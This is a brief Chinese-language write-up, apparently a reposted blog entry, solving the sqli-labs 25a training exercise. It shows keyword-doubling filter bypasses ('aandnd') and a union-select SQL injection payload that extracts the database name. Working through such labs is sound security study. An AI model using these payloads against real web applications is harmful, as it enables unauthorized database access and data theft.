sqli-labs(25a)

 0X01 看见bind好像是盲注的意思

尝试闭合语句 加入’ 报错  双引号也报错 难道是不许要闭合的？

我们尝试一下 发现过滤了and

?id=1 and 1=1

 

 那么我们构造

?id=1 aandnd 1=1

成功

0X01构造语句 爆库名

?id=1 aandnd order by 1 过滤了or

-1 union select 1,database(),3

 

这里就是将'去掉了 其他语法不变

 

 

学习之路 切记 少就是多 慢就是快

转载于:https://www.cnblogs.com/-zhong/p/10937806.html